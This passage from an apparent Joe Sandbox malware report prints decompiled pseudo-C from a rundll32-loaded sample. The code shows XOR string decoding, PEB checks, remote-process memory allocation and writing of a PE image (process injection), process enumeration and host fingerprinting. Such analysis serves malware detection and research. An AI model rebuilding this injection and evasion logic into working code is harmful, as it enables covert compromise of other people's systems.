Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$Protect$ContextLibraryLoadThreadWrite
String ID:
API String ID: 2853935321-0
Opcode ID: 4b82d7a9d974db00a473277f555fef30324d384486eeec6ef9661afa626b1887
Instruction ID: 58e3a54ab5b2364e61b165896b502350202e4a4fd5cf9549805838687baf5439
Opcode Fuzzy Hash: 4b82d7a9d974db00a473277f555fef30324d384486eeec6ef9661afa626b1887
Instruction Fuzzy Hash: 28417BB5A0025DAFDB10CF94D849AFEB7F9FB08350F158179E609EB220DB709A44DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1015 Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_(void* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				void _v257;
				char _v258;
				char _v260;
				short _v772;
				intOrPtr _t21;
				WCHAR* _t28;
				long _t29;
				char _t32;
				char _t33;
				int _t44;
				void* _t48;
				void* _t58;
				int _t61;
				intOrPtr* _t63;

				_t48 = __ecx;
				if(_a8 != 1) {
					if(_a8 != 0) {
						L11:
						return 1;
					}
					_t21 =  *0xf10fa0; // 0x494f8a0
					 *((intOrPtr*)(_t21 + 0xbc))(0xaa);
					L3:
					return 0;
				}
				E00EF910A();
				E00EF94E5();
				 *0xf10fa8 = _a4;
				 *0xf10fa4 = 1;
				E00F04357(_a4);
				 *_t63 = 0x14c; // executed
				_t28 = E00EF90EA(_t48); // executed
				_a8 = _t28;
				_t29 = GetFileAttributesW(_t28); // executed
				if(_t29 == 0xffffffff) {
					E00EF9D66( &_a8);
					_t58 = 0x14;
					_t61 = 0;
					do {
						_t32 =  *0xf0d868; // 0x6665
						_v260 = _t32;
						_t33 =  *0xf0d86a; // 0x0
						_v258 = _t33;
						memset( &_v257, 0, 0xfd);
						memset( &_v772, 0, 0x200);
						_t63 = _t63 + 0x18;
						MultiByteToWideChar(0, 0,  &_v260, 0xffffffff,  &_v772, 0xff);
						_t58 = _t58 - 1;
					} while (_t58 != 0);
					 *0xf10fa0 = E00EF9491(0x144, 0x26e);
					_a8 =  *[fs:0x30];
					if(_a8[1] == 0) {
						L10:
						goto L11;
					}
					_t44 = 0;
					do {
						 *(_t44 + 0xf0f820) =  *(_t44 + 0xf0f820) ^ 0x00000009;
						_t44 = _t44 + 1;
					} while (_t44 < 0x80);
					do {
						 *(_t61 + 0xf0f050) =  *(_t61 + 0xf0f050) ^ 0x000000aa;
						_t61 = _t61 + 1;
					} while (_t61 < 0x80);
					goto L10;
				}
				E00EF9D66( &_a8);
				goto L3;
			}

0x00ef1015
0x00ef1025
0x00ef113d
0x00ef1132
0x00000000
0x00ef1132
0x00ef113f
0x00ef1149
0x00ef106f
0x00000000
0x00ef106f
0x00ef102b
0x00ef1030
0x00ef1039
0x00ef103e
0x00ef1044
0x00ef1049
0x00ef1050
0x00ef1057
0x00ef105a
0x00ef1066
0x00ef1079
0x00ef1081
0x00ef1082
0x00ef1084
0x00ef1084
0x00ef108a
0x00ef1091
0x00ef109b
0x00ef10a9
0x00ef10bb
0x00ef10c0
0x00ef10da
0x00ef10e0
0x00ef10e0
0x00ef10fa
0x00ef1105
0x00ef110f
0x00ef1130
0x00000000
0x00ef1131
0x00ef1111
0x00ef1118
0x00ef1118
0x00ef111f
0x00ef1120
0x00ef1124
0x00ef1124
0x00ef112b
0x00ef112c
0x00000000
0x00ef1124
0x00ef1069
0x00000000

APIs

Part of subcall function 00EF910A: HeapCreate.KERNELBASE(00000000,00096000,00000000,00EF1030), ref: 00EF9113

GetFileAttributesW.KERNELBASE(00000000), ref: 00EF105A
memset.MSVCRT ref: 00EF10A9
memset.MSVCRT ref: 00EF10BB
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00EF10DA

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: memset$AttributesByteCharCreateFileHeapMultiWide
String ID:
API String ID: 371002992-0
Opcode ID: 3f59d648d2f81d19ee2c71166a3b5606015efb5720b7e4dd4f8420d11eb21b77
Instruction ID: 5cbe3496dff5ad9bddcc059ca0b982ec59ce477618bf9d2939966d6731444c32
Opcode Fuzzy Hash: 3f59d648d2f81d19ee2c71166a3b5606015efb5720b7e4dd4f8420d11eb21b77
Instruction Fuzzy Hash: 3331B67150125CAED730AF68DC45BEA77ECEB05320F1091A9F658DB1C2DA748581DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EFCA0F Relevance: 6.1, APIs: 4, Instructions: 63
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EFCA0F(void* __ecx, void* __edx, void* _a4, long _a8, long _a12) {
				void* _v8;
				long _v12;
				long _v16;
				long _t25;
				long _t37;
				void* _t41;
				void* _t42;

				_t37 = _a8;
				_t41 = __ecx;
				_a8 = _t37;
				_t42 = __edx;
				_v8 = 0;
				_v16 = 0;
				_v12 = 0;
				_t25 = NtAllocateVirtualMemory(__edx,  &_v8, 0,  &_a8, 0x3000, 4); // executed
				if(_t25 < 0) {
					L6:
					return 0;
				}
				if(NtWriteVirtualMemory(_t42, _v8, _a4, _t37,  &_v12) < 0) {
					L4:
					if(_v8 != 0) {
						 *((intOrPtr*)(_t41 + 4))(_t42,  &_v8,  &_a8, 0x8000);
					}
					goto L6;
				}
				_a8 = _t37;
				if(NtProtectVirtualMemory(_t42,  &_v8,  &_a8, _a12,  &_v16) < 0) {
					goto L4;
				}
				return _v8;
			}

0x00efca16
0x00efca26
0x00efca28
0x00efca31
0x00efca33
0x00efca38
0x00efca3b
0x00efca3e
0x00efca42
0x00efca8d
0x00000000
0x00efca8d
0x00efca55
0x00efca76
0x00efca7a
0x00efca8a
0x00efca8a
0x00000000
0x00efca7a
0x00efca5a
0x00efca6f
0x00000000
0x00000000
0x00000000

APIs

NtAllocateVirtualMemory.NTDLL(?,00000040,00000000,00000000,00003000,00000004,?,00000000,00000000,00000000,00000000,00000040), ref: 00EFCA3E
NtWriteVirtualMemory.NTDLL(?,00000040,00000000,00000000,00000000), ref: 00EFCA50
NtProtectVirtualMemory.NTDLL(?,00000040,00000000,00000000,00000000), ref: 00EFCA6A
NtFreeVirtualMemory.NTDLL(?,00000000,00000000,00008000), ref: 00EFCA8A

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$AllocateFreeProtectWrite
String ID:
API String ID: 727285278-0
Opcode ID: 764091d17d2ff81b09d80ad7801b8b12b2c106c5c80df9ea5506621081ddce91
Instruction ID: d088375fdb43f9a166c9cbf33ff2d0c71ff732e773ca7fa2830d5f1bf6c0d1c8
Opcode Fuzzy Hash: 764091d17d2ff81b09d80ad7801b8b12b2c106c5c80df9ea5506621081ddce91
Instruction Fuzzy Hash: 1F11B975A0051DBFDB15CF95C944EEEBBBCEF08354F208166BA15E6140E730EB049B64

Uniqueness

Uniqueness Score: -1.00%

Function 00F043F4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E00F043F4(signed int __eax, void* _a4, void* _a8, intOrPtr _a12, void* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				long _v24;
				long _v28;
				intOrPtr _v32;
				long _v36;
				intOrPtr _v40;
				long _v44;
				void* _v48;
				intOrPtr _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				char _v76;
				void* _t180;
				void* _t181;

				_v64 = _v64 & 0x00000000;
				if(_a12 == 0) {
					return __eax | 0xffffffff;
				}
				_v32 = _a12;
				_v40 =  *((intOrPtr*)(_a12 + 0x3c)) + _a12;
				_v52 = _v40;
				_t16 =  *((intOrPtr*)(_v32 + 0x3c)) + 0xf8; // 0xf8
				_v20 = _a12 + _t16;
				_v36 = _v36 & 0x00000000;
				do {
				} while (0 != 0);
				_v44 = 4;
				_v24 =  *((intOrPtr*)(_v32 + 0x3c)) + 0xf8;
				_v48 = _a16;
				_v28 = NtProtectVirtualMemory(_a8,  &_v48,  &_v24, _v44,  &_v36);
				if(_v28 >= 0) {
					_v12 = _v12 & 0x00000000;
					while(_v12 < ( *(_v52 + 6) & 0x0000ffff)) {
						if( *((intOrPtr*)(_v20 + 0x14 + _v12 * 0x28)) != 0) {
							E00EF92A2( &_v76, 0, 9);
							E00EF9202( &_v76, _v12 * 0x28 + _v20, 8);
							_t181 = _t181 + 0x18;
							_v60 = _a16 +  *((intOrPtr*)(_v20 + 0xc + _v12 * 0x28));
							_v8 = _v8 & 0x00000000;
							_v56 =  *(_v20 + 0x24 + _v12 * 0x28) & 0xf0000000;
							_v16 = _v56;
							if(_v16 == 0x20000000) {
								_v8 = 0x10;
							} else {
								if(_v16 == 0x40000000) {
									_v8 = 2;
									if( *((char*)(_t180 + 0xbadb65)) == 0x72 &&  *((char*)(_t180 + 0xbadb65)) == 0x64 &&  *((char*)(_t180 + 0xffffffffffffffbb)) == 0x61 &&  *((char*)(_t180 + 0xbadb65)) == 0x74 &&  *((char*)(_t180 + 0xffffffffffffffbd)) == 0x61) {
										_v8 = 4;
									}
								} else {
									if(_v16 == 0x60000000) {
										_v8 = 0x20;
									} else {
										if(_v16 == 0x80000000) {
											_v8 = 4;
										} else {
											if(_v16 == 0xa0000000) {
												_v8 = 0x40;
											} else {
												if(_v16 == 0xc0000000) {
													_v8 = 4;
												} else {
													if(_v16 == 0xe0000000) {
														_v8 = 0x40;
													}
												}
											}
										}
									}
								}
							}
							while(0 != 0) {
							}
							_v24 =  *((intOrPtr*)(_v20 + 0x10 + _v12 * 0x28));
							_v28 = NtProtectVirtualMemory(_a8,  &_v60,  &_v24, _v8,  &_v36);
							if(_v28 >= 0) {
								while(0 != 0) {
								}
								L43:
								L10:
								_v12 = _v12 + 1;
								continue;
							}
							while(0 != 0) {
							}
							goto L43;
						}
						goto L10;
					}
					return 0;
				}
				L6:
				if(0 == 0) {
					return 0xffffffff;
				} else {
				}
				goto L6;
			}

0x00f043fa
0x00f04402
0x00000000
0x00f04404
0x00f0440f
0x00f0441b
0x00f04421
0x00f0442d
0x00f04434
0x00f04437
0x00f0443b
0x00f0443b
0x00f04441
0x00f04453
0x00f04459
0x00f04474
0x00f0447b
0x00f0448b
0x00f04498
0x00f044b4
0x00f044c0
0x00f044d6
0x00f044db
0x00f044ec
0x00f044ef
0x00f04503
0x00f04509
0x00f04513
0x00f04564
0x00f04515
0x00f0451c
0x00f04570
0x00f04585
0x00f045c6
0x00f045c6
0x00f0451e
0x00f04525
0x00f045cf
0x00f0452b
0x00f04532
0x00f045d8
0x00f04538
0x00f0453f
0x00f045e1
0x00f04545
0x00f0454c
0x00f045ea
0x00f04552
0x00f04559
0x00f045f3
0x00f045f3
0x00f04559
0x00f0454c
0x00f0453f
0x00f04532
0x00f04525
0x00f0451c
0x00f045fa
0x00f045fe
0x00f0460b
0x00f04626
0x00f0462d
0x00f04637
0x00f0463b
0x00f0463d
0x00f04491
0x00f04495
0x00000000
0x00f04495
0x00f0462f
0x00f04633
0x00000000
0x00f04635
0x00000000
0x00f044b6
0x00000000
0x00f04642
0x00f0447d
0x00f0447f
0x00000000
0x00000000
0x00f04481
0x00000000

APIs

NtProtectVirtualMemory.NTDLL(00EF43D8,?,?,00000004,00000000), ref: 00F04471

Strings

@, xrefs: 00F045F3

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: @
API String ID: 2706961497-2766056989
Opcode ID: 5d6acb65a0b66dfe4f450ea08b61fb6c7ae1f8b855b602cec30e187115862d90
Instruction ID: 2cc5cf0eb89bc46ea6f437b38fe2557c490fe7f07b0eb122bcc35673ff4d4c60
Opcode Fuzzy Hash: 5d6acb65a0b66dfe4f450ea08b61fb6c7ae1f8b855b602cec30e187115862d90
Instruction Fuzzy Hash: 967114B5D00209DFDF10CFA8C984BBEBBB4AB04315F24856ADA11E62C0D774AA81FB11

Uniqueness

Uniqueness Score: -1.00%

Function 00EFC71C Relevance: 4.6, APIs: 3, Instructions: 82
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00EFC71C(void* __ecx, void* __edx) {
				void* _v304;
				char _v308;
				intOrPtr _v312;
				char _v316;
				signed int _t20;
				signed int _t21;
				char _t27;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t49;
				void* _t51;
				void* _t55;
				void* _t57;

				_t40 = __edx;
				_v304 = __ecx;
				_t20 = CreateToolhelp32Snapshot(2, 0);
				_t57 = _t20;
				_t21 = _t20 | 0xffffffff;
				if(_t57 != _t21) {
					E00EF92A2( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t57,  &_v304) != 0) {
						_t27 = E00EF911F(0x20);
						_v316 = _t27;
						_t51 = 0x1f;
						do {
							_t9 = _t51 + 0x63; // 0x82
							 *((char*)(_t51 + _t27)) = _t9;
							_t51 = _t51 - 1;
						} while (_t51 >= 0);
						E00EF913B( &_v316, 0);
						while(1) {
							_t55 = _v312( &_v308, _t40);
							if(_t55 == 0) {
								break;
							}
							_t49 =  *0xf10fa0; // 0x494f8a0
							_push( &_v308);
							_push(_t57);
							if( *((intOrPtr*)(_t49 + 0x48))() != 0) {
								continue;
							}
							break;
						}
						FindCloseChangeNotification(_t57);
						_t21 = 0 | _t55 == 0x00000000;
					} else {
						_t37 =  *0xf10fa0; // 0x494f8a0
						 *((intOrPtr*)(_t37 + 0x34))(_t57);
						_t21 = 0xfffffffe;
					}
				}
				return _t21;
			}

0x00efc734
0x00efc736
0x00efc73a
0x00efc73d
0x00efc73f
0x00efc744
0x00efc757
0x00efc75f
0x00efc773
0x00efc785
0x00efc78d
0x00efc791
0x00efc792
0x00efc792
0x00efc795
0x00efc798
0x00efc798
0x00efc7a4
0x00efc7ab
0x00efc7b5
0x00efc7bb
0x00000000
0x00000000
0x00efc7bd
0x00efc7c7
0x00efc7c8
0x00efc7ce
0x00000000
0x00000000
0x00000000
0x00efc7ce
0x00efc7d6
0x00efc7dd
0x00efc775
0x00efc775
0x00efc77b
0x00efc780
0x00efc780
0x00efc773
0x00efc7e6

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000019,?,00000018), ref: 00EFC73A

Part of subcall function 00EF92A2: memset.MSVCRT ref: 00EF92B4

Process32First.KERNEL32(00000000,?), ref: 00EFC76E
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00EFC7D6

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32memset
String ID:
API String ID: 3344077921-0
Opcode ID: bb0b306502d03248ff87c0dc83fcb9e38bd44719bd9177f02632e6c5c578fe98
Instruction ID: 00746061babb6726a75cc813cafeeb32ff8b6a4ac0536bbfac879ece9f4a2fb6
Opcode Fuzzy Hash: bb0b306502d03248ff87c0dc83fcb9e38bd44719bd9177f02632e6c5c578fe98
Instruction Fuzzy Hash: 1621C7735042099FD320EF64DC45FAA7B98EF85360F25052AF650C71D1EB60D946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EFA412 Relevance: 3.1, APIs: 2, Instructions: 107
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00EFA412(void* __ecx, void* __edx) {
				void* _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				long _v32;
				long _t37;
				void* _t38;
				intOrPtr _t39;
				intOrPtr _t42;
				intOrPtr _t43;
				void* _t46;
				void* _t58;
				void* _t71;
				intOrPtr* _t73;

				_v8 = _v8 & 0x00000000;
				_t71 = __edx;
				_t58 = __ecx;
				_t3 = _t71 + 0x3c; // 0x100
				_t73 =  *_t3 + __edx;
				if( *_t73 != 0x4550) {
					L5:
					return 0;
				}
				_v16 =  *(_t73 + 0x50);
				_t37 = NtAllocateVirtualMemory(__ecx,  &_v8, 0,  &_v16, 0x3000, 0x40); // executed
				if(_t37 < 0) {
					goto L5;
				}
				_t38 = E00EF918A( *0xf10fd8, 0x1ac4);
				_v12 = _t38;
				if(_t38 == 0) {
					goto L5;
				}
				 *((intOrPtr*)(_t38 + 0x224)) = _v8;
				_t39 = E00EFCA0F( *0xf110b0, _t58, _t38, 0x1ac4, 4); // executed
				_v20 = _t39;
				_push(0x1ac4);
				_push( &_v12);
				if(_t39 != 0) {
					E00EF913B();
					_t42 =  *0xf10fa8; // 0xef0000
					_v24 = _t42;
					_t43 =  *0xf10fd8; // 0x494fc50
					_v28 = _t43;
					 *0xf10fa8 = _v8;
					 *0xf10fd8 = _v20;
					_t46 = E00EF918A(_t71,  *(_t73 + 0x50)); // executed
					_v12 = _t46;
					if(_t46 == 0) {
						goto L5;
					}
					E00EFA391(_t46, _v8, _t71);
					_v32 = _v32 & 0x00000000;
					 *0xf10fa8 = _v24;
					 *0xf10fd8 = _v28;
					if(NtWriteVirtualMemory(_t58, _v8, _v12,  *(_t73 + 0x50),  &_v32) < 0) {
						goto L5;
					}
					E00F043F4(_t52,  *0xf110b0, _t58, _t71, _v8); // executed
					E00EF913B( &_v12, 0);
					return _v8;
				}
				E00EF913B();
				goto L5;
			}

0x00efa418
0x00efa41f
0x00efa421
0x00efa423
0x00efa426
0x00efa42e
0x00efa4a4
0x00000000
0x00efa4a4
0x00efa435
0x00efa44d
0x00efa451
0x00000000
0x00000000
0x00efa45e
0x00efa463
0x00efa46a
0x00000000
0x00000000
0x00efa473
0x00efa485
0x00efa48d
0x00efa495
0x00efa49a
0x00efa49b
0x00efa4ab
0x00efa4b0
0x00efa4b5
0x00efa4b8
0x00efa4bd
0x00efa4c3
0x00efa4cb
0x00efa4d4
0x00efa4dc
0x00efa4e1
0x00000000
0x00000000
0x00efa4e9
0x00efa4f1
0x00efa4f5
0x00efa4fe
0x00efa51b
0x00000000
0x00000000
0x00efa528
0x00efa533
0x00000000
0x00efa53b
0x00efa49d
0x00000000

APIs

NtAllocateVirtualMemory.NTDLL(00EF43D8,00000000,00000000,?,00003000,00000040,?,00000000,00EF43D8), ref: 00EFA44D
NtWriteVirtualMemory.NTDLL(00EF43D8,00000000,?,?,00000000), ref: 00EFA516

Part of subcall function 00EFCA0F: NtAllocateVirtualMemory.NTDLL(?,00000040,00000000,00000000,00003000,00000004,?,00000000,00000000,00000000,00000000,00000040), ref: 00EFCA3E
Part of subcall function 00EFCA0F: NtWriteVirtualMemory.NTDLL(?,00000040,00000000,00000000,00000000), ref: 00EFCA50
Part of subcall function 00EFCA0F: NtProtectVirtualMemory.NTDLL(?,00000040,00000000,00000000,00000000), ref: 00EFCA6A

Part of subcall function 00EF913B: HeapFree.KERNEL32(00000000,00000000), ref: 00EF9181

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: MemoryVirtual$AllocateWrite$FreeHeapProtect
String ID:
API String ID: 4171237596-0
Opcode ID: 763fe21186b6a41fa8222d4bae4e8a51dc7c0883ffb0f9b1e9d6eaf7b5993a35
Instruction ID: 17a1bf8175083c4062a852e2ebd12f8326a1e639cca43d11d1ca76d8c0d1260b
Opcode Fuzzy Hash: 763fe21186b6a41fa8222d4bae4e8a51dc7c0883ffb0f9b1e9d6eaf7b5993a35
Instruction Fuzzy Hash: B2415CB1A0020DBFDB10DFA4DC85AFE77F8FB48314F154069E605E7291EBB0AA419B55

Uniqueness

Uniqueness Score: -1.00%

Function 00EFBB4D Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00EFBB4D(void* __edx, void* __fp0) {
				char _v8;
				char _v12;
				char _v16;
				char _v144;
				char _v656;
				char _v668;
				char _v2644;
				void* __esi;
				struct _OSVERSIONINFOA* _t70;
				intOrPtr _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t77;
				intOrPtr* _t79;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t89;
				intOrPtr _t91;
				void* _t92;
				intOrPtr _t94;
				intOrPtr _t95;
				void* _t96;
				void* _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				short _t109;
				char _t111;
				intOrPtr _t116;
				intOrPtr _t119;
				intOrPtr _t122;
				intOrPtr _t126;
				intOrPtr _t137;
				intOrPtr _t139;
				intOrPtr _t141;
				intOrPtr _t144;
				intOrPtr _t146;
				intOrPtr _t152;
				void* _t153;
				WCHAR* _t154;
				char* _t155;
				intOrPtr _t166;
				intOrPtr _t182;
				void* _t198;
				struct _OSVERSIONINFOA* _t199;
				void* _t200;
				void* _t202;
				char _t205;
				void* _t206;
				char* _t207;
				void* _t210;
				int* _t211;
				void* _t224;

				_t224 = __fp0;
				_t152 =  *0xf10fa8; // 0xef0000
				_t70 = E00EF911F(0x1ac4);
				_t199 = _t70;
				if(_t199 != 0) {
					 *((intOrPtr*)(_t199 + 0x1640)) = GetCurrentProcessId();
					_t72 =  *0xf10fa0; // 0x494f8a0
					_t73 =  *((intOrPtr*)(_t72 + 0xb0))(_t200);
					_t3 = _t199 + 0x648; // 0x648
					E00F04A2A( *((intOrPtr*)(_t199 + 0x1640)) + _t73, _t3);
					_t75 =  *0xf10fa0; // 0x494f8a0
					_t5 = _t199 + 0x1644; // 0x1644
					_t201 = _t5;
					_push(0x105);
					_push(_t5);
					_push(0);
					if( *((intOrPtr*)(_t75 + 0x12c))() != 0) {
						 *((intOrPtr*)(_t199 + 0x1854)) = E00EF9547(_t201);
					}
					_t77 =  *0xf10fa0; // 0x494f8a0
					_t79 = E00EFDC33( *((intOrPtr*)(_t77 + 0x130))()); // executed
					 *((intOrPtr*)(_t199 + 0x110)) = _t79;
					_t163 =  *_t79;
					if(E00EFDDAE( *_t79) == 0) {
						_t81 = E00EFDC83(_t163, _t201); // executed
						__eflags = _t81;
						_t166 = (0 | _t81 > 0x00000000) + 1;
						__eflags = _t166;
						 *((intOrPtr*)(_t199 + 0x214)) = _t166;
					} else {
						 *((intOrPtr*)(_t199 + 0x214)) = 3;
					}
					_t14 = _t199 + 0x220; // 0x220, executed
					_t82 = E00EFE5A6(_t14); // executed
					 *((intOrPtr*)(_t199 + 0x218)) = _t82;
					_t83 = E00EFE56B(_t14); // executed
					 *((intOrPtr*)(_t199 + 0x21c)) = _t83;
					_t17 = _t199 + 0x114; // 0x114
					_t202 = _t17;
					 *((intOrPtr*)(_t199 + 0x224)) = _t152;
					_push( &_v16);
					_v12 = 0x80;
					_push( &_v8);
					_v8 = 0x100;
					_push( &_v656);
					_push( &_v12);
					_push(_t202);
					_push( *((intOrPtr*)( *((intOrPtr*)(_t199 + 0x110)))));
					_t89 =  *0xf10fc8; // 0x494fb00
					_push(0); // executed
					if( *((intOrPtr*)(_t89 + 0x6c))() == 0) {
						GetLastError();
					}
					_t91 =  *0xf10fc0; // 0x494fa38
					_t92 =  *((intOrPtr*)(_t91 + 0x3c))(0x1000);
					_t28 = _t199 + 0x228; // 0x228
					_t153 = _t28;
					 *(_t199 + 0x1850) = 0 | _t92 > 0x00000000;
					if( *0xf10fa4 != 2) {
						E00EFBA56( *((intOrPtr*)(_t199 + 0x224)), _t153);
					} else {
						E00EFBB20(_t153);
					}
					_t94 =  *0xf10fa4; // 0x1
					 *((intOrPtr*)(_t199 + 0xa0)) = _t94;
					_t219 = _t153;
					if(_t153 != 0) {
						 *((intOrPtr*)(_t199 + 0x434)) = E00EF9547(_t153);
					}
					_t95 = E00EFD130();
					_t35 = _t199 + 0xb0; // 0xb0
					_t203 = _t35;
					 *((intOrPtr*)(_t199 + 0xac)) = _t95;
					_t96 = E00EFCF1D(_t35, _t219, _t224);
					_t37 = _t199 + 0xd0; // 0xd0
					E00EF98A9(_t96, _t35, _t37);
					_t38 = _t199 + 0x438; // 0x438
					E00EF955E(_t153, _t38);
					_t100 = E00EFE605(_t203, E00EFCE25(_t35), 0);
					_t39 = _t199 + 0x100c; // 0x100c
					E00EFD146(_t100, _t39, _t224);
					_t102 =  *0xf10fa0; // 0x494f8a0
					_t104 = E00EFDE00( *((intOrPtr*)(_t102 + 0x130))(_t202)); // executed
					 *((intOrPtr*)(_t199 + 0x101c)) = _t104;
					E00EF92A2(_t199, 0, 0x9c);
					_t211 = _t210 + 0xc;
					_t199->dwOSVersionInfoSize = 0x9c;
					GetVersionExA(_t199);
					 *((intOrPtr*)(_t199 + 0xa8)) = E00EFB85A(_t103);
					_t109 = E00EFB883(_t108);
					_t43 = _t199 + 0x1020; // 0x1020
					_t154 = _t43;
					 *((short*)(_t199 + 0x9c)) = _t109;
					GetWindowsDirectoryW(_t154, 0x104);
					_t111 = E00EF90EA(_t108, 0x83);
					_t182 =  *0xf10fa0; // 0x494f8a0
					_t205 = _t111;
					 *_t211 = 0x104;
					_push( &_v668);
					_push(_t205);
					_v8 = _t205;
					if( *((intOrPtr*)(_t182 + 0xf0))() == 0) {
						_t146 =  *0xf10fa0; // 0x494f8a0
						 *((intOrPtr*)(_t146 + 0x10c))(_t205, _t154);
					}
					E00EF9D66( &_v8);
					_t116 =  *0xf10fa0; // 0x494f8a0
					_t50 = _t199 + 0x1434; // 0x1434
					_t206 = _t50;
					 *_t211 = 0x209;
					_push(_t206);
					_push(L"USERPROFILE");
					if( *((intOrPtr*)(_t116 + 0xf0))() == 0) {
						E00EFC08E(_t206, 0x105, L"%s\\%s", _t154);
						_t144 =  *0xf10fa0; // 0x494f8a0
						_t211 =  &(_t211[5]);
						 *((intOrPtr*)(_t144 + 0x10c))(L"USERPROFILE", _t206, "TEMP");
					}
					_push(0x20a);
					_t53 = _t199 + 0x122a; // 0x122a
					_t155 = L"TEMP";
					_t119 =  *0xf10fa0; // 0x494f8a0
					_push(_t155);
					if( *((intOrPtr*)(_t119 + 0xf0))() == 0) {
						_t141 =  *0xf10fa0; // 0x494f8a0
						 *((intOrPtr*)(_t141 + 0x10c))(_t155, _t206);
					}
					_push(0x40);
					_t207 = L"SystemDrive";
					_push( &_v144);
					_t122 =  *0xf10fa0; // 0x494f8a0
					_push(_t207);
